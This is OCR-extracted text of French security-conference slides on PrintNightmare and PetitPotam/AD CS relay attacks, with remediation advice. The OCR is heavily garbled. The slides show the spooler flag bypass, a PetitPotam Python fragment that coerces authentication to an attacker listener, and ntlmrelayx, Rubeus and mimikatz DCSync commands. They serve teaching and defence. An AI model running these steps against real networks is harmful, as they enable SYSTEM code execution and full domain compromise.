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Un service et des fonctions vulnérables

Son nom : Print Spooler (Spouler d’impression)
Son role : Gérer I'impression

Son contexte : SYSTEM

Utilisable par : Tous les utilisateursdu domaine
Son passif: CVE-2020-1337, CVE-2020-1070,
CVE-2020-1048, CVE-2019-0683, CVE-2010-2729
Des protocoles : MS-RPRN, MS-PAR et le SDK

Des fonctions : RpcAddPrinterDriver() g e =
: . =% 7= ==y
RpcAddPrinterDriverEx(), flg/’ﬁ\’:\ﬁ f/*?/{;:\ = //%/,;«%Q
: . - ZZEa, T, o
RpcAsyncAddPrinterDriver() et Queue-Specific ,;Z;%} \‘3\‘% ,;7//% :";\\\\‘f\.:\ m
File . =B
; N N )
O O O
= )8 N ) N\ )
i -
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Une belle histoire
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’installation de drivers a distance, un
processus sympa

_

‘ 1 : Copie des fichiers dans le répertoire

RpcAddPrinterDriver()

\ 2 : Chargementdes DLL

-
:
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’'installation de drivers a distance, un

processus sympa

Quelques petits contretemps :

* Les parametres pConfigFile et pDriverPath ne peuvent pas contenir de chemins UNC (Universal Naming Convention)
* Lacopiedes fichiers peut poser problemes en cas de conflit
* |l est nécessaire d’avoirle privilege : SeLoadDriverPrivilege

Mais des solutions:
* Le parameétre pDataFile n’a pas cette protection = Exécution de la fonction 2 fois
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’installation de drivers a distance, un
processus sympa

_

‘ 1 : Copie des fichiers dans le répertoire

RpcAddPrinterDriver()

\ 2 : Chargementdes DLL
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‘ 1 : Copie des fichiers dans le répertoire

RpcAddPrinterDriver()

\ 2 : Chargementdes DLL
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’installation de drivers a distance, un
processus sympa

Quelques petits contre temps :

* Les parametres pConfigFile et pDriverPath ne peuvent pas contenir de chemin UNC
* Lacopiedes fichiers peut poser problemes

* |l est nécessaire d’avoirle privilege : SeLoadDriverPrivilege

Mais des solutions:
* Le parameétre pDataFile n’a pas cette protection = Exécution de la fonction 2 fois

* Microsoft a implémenté la fonction RpcAddPrinterDriverEx() qui rajoute un flag pour gérer la copie
e APD_COPY_ALL_FILES
« APD_COPY_FROM_DIRECTORY
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’installation de drivers a distance, un

processus sympa

‘ 1 : Déplacementet copie des fichiers dans le répertoire

RpcAddPrinterDriverEx()

A

» YV «

\ 2 : Chargementdes DLL

—
_ _

—
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’'installation de drivers a distance, un
processus sympa

Quelques petits contre temps :

* Les parametres pConfigFile et pDriverPath ne peuvent pas contenir de chemin UNC
* Lacopiedes fichiers peut poser problemes

* |l est nécessaire d’avoirle privilege : SeLoadDriverPrivilege

Mais des solutions:
* Le parameétre pDataFile n’a pas cette protection = Exécution de la fonction 2 fois
* Microsoft a implémentéla fonction RpcAddPrinterDriverEx() qui rajoute un flag pour gérer la copie

* La vérification des privileges peut étre contournée grace a une valeur spécifique dans le flag :
« APD_COPY_ALL_FILES - 0x00000004
« APD_COPY_FROM_DIRECTORY -> 0x00000010
 APD_INSTALL WARNED_DRIVER - 0x00008000
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’'installation de drivers a distance, un
processus sympa

ﬁ General registers [

RAX 1 % h

REX “

RCX 43C80F3474770000 L+ Dans RSl on a la valeur du flag dwFileCopyFlag
Ry 0x8014 —> 1000 0000 0001 0100

RS BEeEEREEEREE5E1E fu

RDI eBeeaaaa80860888 '
REP G0660020019506880 W "LPSI"

RSP 60000000825AE0DP % Stack[@P800644] 1 PEEE2REAA25AE0DE *
BBeB7FFDEBLFFDSS %% 1 1l=pl SplAddPrinterDri Ex:1 JFFDBBCFFDS! ¥
FE{TF‘ ocCalsop o ] FrilnCerurivercx. Loc N Eﬁ
localspl.dll:@eee87FFDE8BCFFDSS
localspl.dll:8ee87FFDEBCFFDS5 loc 7FFODBBCFFDSS:

Récupere lavaleurdu bit n°15 et le met dans CF 2 Ici 1 localspl.dll:eeee7FFpascrross[bt esi, orh]
localspl.dll:eeee7FFDEBCFFD59 mov ebx, @
lﬂcalspl.dll:BEFEFEITFFDBEICFFDSEIcmcwnb ebx, [rsp+58h+ar‘g_3Eb:J

Opération qui est exécutée uniquementsi CF = 0 = Pas notrecas  |localspl.dll:@88@7FFDS8BCFFDEE test — ebx, ebx
localspl.dll:@@807FFD8BCFFDEE jz short loc 7FFDBBCFFD94
|
vl2 = 8;
| if ( ! bittest((const int *)&a4, @xFu) ) |
V12 = af;

if { v12 &% !(unsigned int){{ inte4 ( fastcall *)( QWORD, _ inte4, _Q';-.'-D-RDI}unk_?FFDSBCEIBEEI{}{9154, 1i64, Bi64) ) I

return @igd;

return ((__int64 ( fastcall *)(_ int64, QWORD, _ int64, QWORD, _ int64, int, int, QWORD))unk 7FFD8BCFDBES)(
al,
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Déroulé de l'attaque

[itwasalladream] INFO - 192.168.198.1089 is vulnerable over MS-PAR. Reason: a L from supplied share

[itwasalladream] wesos rraon % (S NETPATH - The network path was not found.
[itwasalladream] INFO - 192.168.198.109 is vulnerable over MS-RPRN DLL from supplied share

Déroulé de l'exploit :

Vé . . . ’

* Vérification que le serveur est vulnérable 1536, oo 5112 [hCesefle  \\IS2168 190 147 shae\ocal
. . 15:34.... mmespoolsv.exe 5112 [BhCreateFile “W1592.168.198. 141 share\Nocal dil

4 CO nnexionau en d pO Int R PC 15:34;... pmrspoolsv.exe 5112 BhQueryBasicinfor...\\192.168.198.141\share \local dI
15:34:. . pmspoolsv exe 5112 %Closeﬂle “W152.168.158.14 1 share ocal dil

1 1 1 1 15:34.... m=spoolsy exe 5112 EhCreateFile C:UNCY\192.168.198.14 1 shareNocal dll

* Appel de Ia fonCtlon RpCAdd Prl nterDrIverEX() pour Copler Ia DLL 15:34.... gé;sgoolsv.exe 5112 %CreateFile %4192.168.198. 141 share\Nocal dil
15:34:.. g%;spoolsv.exe 5112 Ba@ueryBasicInfor...\\192.163.193.141\5hare\docal.dll

malveillante dansle répertoire C:\Windows\System32\spool\driver\x64\3  isx mwcoswee 512 Bhoosefie  wis2 168 158 14T sharetloca.di
* Second appel de la fonction avec comme parametre pDriverPath le chemin

. 15:34... [;é;spoolsv.exe 5112 %SetBasiclrrforrn... C:\Windows"System 32\spool drivers'x 64" 3 \New\local dll
Ioca I d e Ia D LL ma Ivel I I a nte 15:34:. . pmspoolsv exe 5112 Ba(]ueryStandardl...C:\Windows\SystemﬂZ‘spool\drivers\xlEal\B\New\local.dII
, . . , i 15:34.... mrspoolsy exe 5112 %Closeﬁle CiWindows\ System 32 spoolhdrivers o643 \New ocal dil
° 15:34:. . mmspoolsy exe 5112 CreateFile C\Windows'\System 32 spool \drivers'«64 3 \New ocal dl
ExeCUtI O n d e | a D LL ma Ivel I I a nte SO u S Ie CO nteXte d e I Utl I Isate u r SYSTE M 15:34... [;é;spoolsv.exe 5112 BhQueryAttribute T...C-\Windows ' System 32 spool drivers'w64' 3 New local dl
15:34:. . pmspoolsv exe 5112 BaCIoseFile C\Windows'\System 32 spool \drivers'«64 3 \New ocal dl
— o . ) . 15:34: . pspoolsv exe 5112 [EACreateFle C:\Windows'System 32\spooldrivers w6413 \New local di
= fn spoolsy exe 5 652K 17868 K 6128 Application sous-systéme sp... Microsoft Corporation 15:34:... p=rspoolsv exe 5112 [BACloseFile CA\Windows'\System 32\spool drivers'«64'.3 \New local di
= 07 rundll32 exe 1120K 4592 K 2304 - o
= i " cmd.exe 2064 K 3972K 5608
B ' conhost.exe 6476 K 11420 K 3212

el REBE| YAS B[ A5 HE 0
Time ... Process Name PID  Operation Path
15:34:... pekspoolsv exe 5112 &% Load Image C\Windows'\ System 32 spool drivers'x64' Iocal dll
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PrintNightmare X ) o

Remédiations && =

REMOTELY
EXPLOITABLE

RPC or SMB is
reachable

LOCALLY
EXPLOITABLE

NOT REMOTELY
EXPLOITABLE
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Un service AD et un protocole vulnérable

Son nom : Active Directory Certificat Authority (AD CS)
Son role : PKI, Gestion de certificats...

Son contexte : SYSTEM

Utilisable par : Tous (si vers un DC)

Son passif : CVE-2021-36942

Des protocoles : Encrypting File System Remote (MS- N
EFSRPC) et Local Security Authority (MS-LSARPC)

1
Les fonctions : i =
- EfsRpcOpenFileRaw()

- EfsRpcEncryptFileSrv() e

~/ N/ /A,

-~/ N/
-~/ &/ .
Y Y 1wy i
Y Y 1 1/

v/

- EfsRpcDecryptFileSrv()

- EfsRpcQueryUsersOnFile()

- EfsRpcQueryRecoveryAgents()
- EfsRpcAddUsersToFile()

Ci&<g
1Y
—
XXXX 3
|| || || ||
—)
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Une histoire a suivre
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PetitPotam en quelques mots

. |

-
:
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PetitPotam en quelques mots

rpctransport = transport.DCERPCTransportFactory{binding params[pipe]["stringBinding']}
if hasattr{rpctransport, 'set_credentials'}:
rpctransport.set_credentials{username=username, password=password, domain=domain, lmhash=1lmhash, nthash=nthash}
dce = rpctransport.get_dce_rpc()
AUTHN_WINNT)
vel(RP AUTHN_ _PK

] Connecting to %s" % binding_params[pipe]['stringBinding'])

dce.connect()

except Exception as e:
print("Something went wrong, check error status => %s™ % str(e))
sys.exit()

print(”[+] Connected!™)

print( ] Binding to %s" % binding params[pipe][ 'MSRPC_UUID EFSR'][@]}

1. BIND TO RPC

print("Something went wrong, check error status => %s™ % str(e))
sys.exit()
print("[+] Successfully bound!™)

2 API CALL

return dce

EfsRpcOpenFileRaw(self, dce, listener)

print(”[-] Sending EfsRpcOpenFileRaw!")

3. AUTHENTICATION

request = EfsRpcOpenFileRaw()
request['fileName"'] = "\i\\\Es\\test\\Settings.ini\x@@' ¥ listener
request['Flag'] = @
resp = dce.request(request}
T 4_ERROR RESPONSE
F str{e).find('ERROR_BAD_NETPATH') 3= @:

print("[+] Got expected ERROR_BAD_MNETPATH exception!!'}

print(*[+] Attack worked!"}

print("Something went wrong, check error status => %s™ % str(e))
sys.exit()

28 octobre 2021 - PARIS

BIND TO RPC
2.API CALL

.638352

640692
.641068
.645043

.651964

166 Tree Connect Request Tree: \\10.10.20.12\IPC$
138 Tree Connect Response, Error: STATUS_NETWORK_SESSION EXPIRED

10.10.20.12 10.10.20.9 on

.78 . 9 p Resp
211 14.134462 10.10.20.9 10.10.20.12 EFS 198 EfsRpcOpenFileRaw response, Error: WERR_BAD_NETPATH
213 14.1361 10. 2 .10 e isconnect Requ
214 14.

This subsection specifies the syntax of the methods specified by the EFSRPC protocol and how to receive each
one. These calls are received at the well-known endpoint of the named pipe \pipe\lsarpc or \pipe\efsrpc. The
server interface for \pipe\lsarpc MUST be identified by UUID [c681d488-d850-11d0-8c52-00c04fd90f7e] version
1.0. The server interface for \pipe\efsrpc MUST be identified by UUID [df1941c5-fe89-4e79-bf10-463657acf44d],
version 1.0.
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Déroulé de l'attaque

Lab.com

Internal Services

Déroulé de l'exploit :

* Phase de reconnaissance Attacker @
. . Does not have domain joined —
* Impersonation avec Petit Potam computer or domain |
« Récupération d'un certificat DC puis Golden Ticket SRS B =
Domain Controller
DC-01
(]
|
/.
L | E Q
Wind ows Host
Mimikatz/Kekeo Installed
Issuing Certificate Authority [5_
'S ~ CA-01 [ |
_ —3
| @
o L1 |
5 _| ]
ntm T;;:?::r:;lu Certificate Web Enrollment Services
http:ffpki.a?laﬁji;:mf&rﬂw
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Déroulé de I'attaque

1 - Avoirun pied dansle réseau AD et découvrir une instance ADCS mal configuré

= . - . . — O
D Microsoft Active Directory Certif X a www.bing.com x | +
&~ @] A Not secure | ca01.offense.local/certsrv/ T8 = :,

Mirrncnft Actin Niractans Carfificate Qansicag — gffense-CA01-CA-1

_http-server-header: Microsoft-I1S/10.0

|_http-tit1e: IIS Windows Server - ) . ) ) ) )
135/t M £t Windows RPC ate for your Web browser, e-mail client, or other program. By using a certificate, you can verify your identity to people you communicate
cp open:. msrpc 1Croso indows essages, and, depending upon the type of certificate you request, perform other security tasks.

|_ Potentially risky methods: TRACE

139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Microsoft IIS httpd 10.0 nload a certificate authority (CA) certificate, certificate chain, or certificate revocation list (CRL), or to view the status of a pending
l http-methods:

Potentially risky methods: TRACE
http-server-header: Microsoft-I1S/10.0
http-title: IIS Windows Server E¥ Windows PowerShell
ssl-cert: Subject: commonName=corp-SRV0O1-CA-2
Not valid before: 2021-07-23T19:19:14 : :

_Not valid after: 2026-07-23T719:29:14 T e hell http
_ssl-date: 2021-07-26T15:46:38+00:00; 0s from scanner time. 5 ers\spotless> certutil.exe
tls-alpn: :
h2

http/1.1

445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds

ectory Certificate Services, see Active Directory Certificate Services Documentation.

"offense-CAB1-CA-1"

5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP g *caB1.oFfense . ocal \oFFense-CAB1-CA-1"

hort Name:
Web Enrollment 5

rtUtil: -dump command completed successfully.
Ps pot
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Déroulé de I'attaque

2 - Mettre en place un relais NTLM en écoute sur le serveur AD CS pour récupérer le Nthash d'un DC

: # ntlmrelayx.py -t http://10.10.20.13/certsrv/certfnsh.asp -smb2support
--adcs --template dnmaincuntrnlleﬁ]

I
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Déroulé de I'attaque

3 — Utiliser Petit Potam pour effectuer une authentification NTLM au nom de la cible (DC) avec le relais NTLM

# python3 Petitpotam.py 10.10.20.12 10.19.20.9

Identity Days 2021



IIlI IDENTITY DAYS 28 octobre 2021 - PARIS

1 4 Y 4 ,
Déroulé de l'attaque
4 — Récupérer le certificat machine de notre cible (DC) déliveré par notre ADCS malconfiguré

: # ntlmrelayx.py -t http://10.10.20.13/certsrv/certfnsh.asp -smb2support
--adcs --template domaincontroller
Impacket v0.9.24.dev1+20210623.191337.2ace5639 - Copyright 2021 SecureAuth Corporation

¥

Protocol Client MSSQL loaded..
Protocol Client RPC loaded..
Protocol Client SMTP loaded..
Protocol Client IMAPS loaded..
Protocol Client IMAP loaded..
Protocol Client HTTP loaded..
Protocol Client HTTPS loaded..
Protocol Client SMB loaded..
Protocol Client DCSYNC loaded..
Protocol Client LDAP loaded..
Protocol Client LDAPS loaded..
Running in relay mode to single host
Setting up SMBE Server

Setting up HTTP Server

Setting up WCF Server

* ¥ ¥ ¥ ¥ ¥

* ¥ ¥ ¥ * *

[+]
[*]
[]
[*]
[*]
[*]
[]
[*]
[]
[*]
[*]
[*]
[*]
[*]
[*]

¥

]
-
el

Servers started, waiting for connections
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Déroulé de I'attaque

5 — Utiliser le certificat récupéré pour demander un TGT Kerberos

[BH Select Administrator: Command Prarmpt — O w®

by [/ptt] [/Luid] [/no
computer .domain.com tt] [Aluid] [fnowrap]

The "fconsoleoutfile:C:WFILE.txt™ argument redirects all console output to the file specified.

The "/mowrap™ flag prevents any b 64 ticket blebs from being column wrapped for any function.

NOTE: Basefd ticket blobs can be decoded with :

[I0.File]::writeAllBytes{"ticket.kirbi™, [Eonwert]::FPJﬁE 645tring!

sersiyLocalAdminyDesktoprRubeus . exe r 81% fcertificate: /ptt fdomain:corp.local /dc: l.corp.local
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Déroulé de I'attaque

6 — Utiliser le TGT Kerberos et mimikatz pour effectuer un DCSync pour avoirle hash Domain Admin ou krbtgt

BN Select Administrator: Command Prompt — O b4

CitUsershlocalddminiDesktopr
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Remédiations

Votre serveur web d'enrollement est-il vraiment utilisé par vos utilisateurs?

NTLM sur les serveurs ADCS et AD est- il vraiment utile ?

Le serveur |IS CertSrv a-t-il vraiment besoin d'autoriser autre chose que du Kerberos ?
Est-ce que EPA est activée au sein de mon domaine?

Est-ce que je peux surveillerles Anonymousbind et les demandes de
connexion sans machine associée ?

Est-ce que je peux auditermon AD CS ?

Est-ce que je peux bloquer |'utilisation deI'API EFSR ?
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Conclusion
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Questions/Réponses
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Merci !
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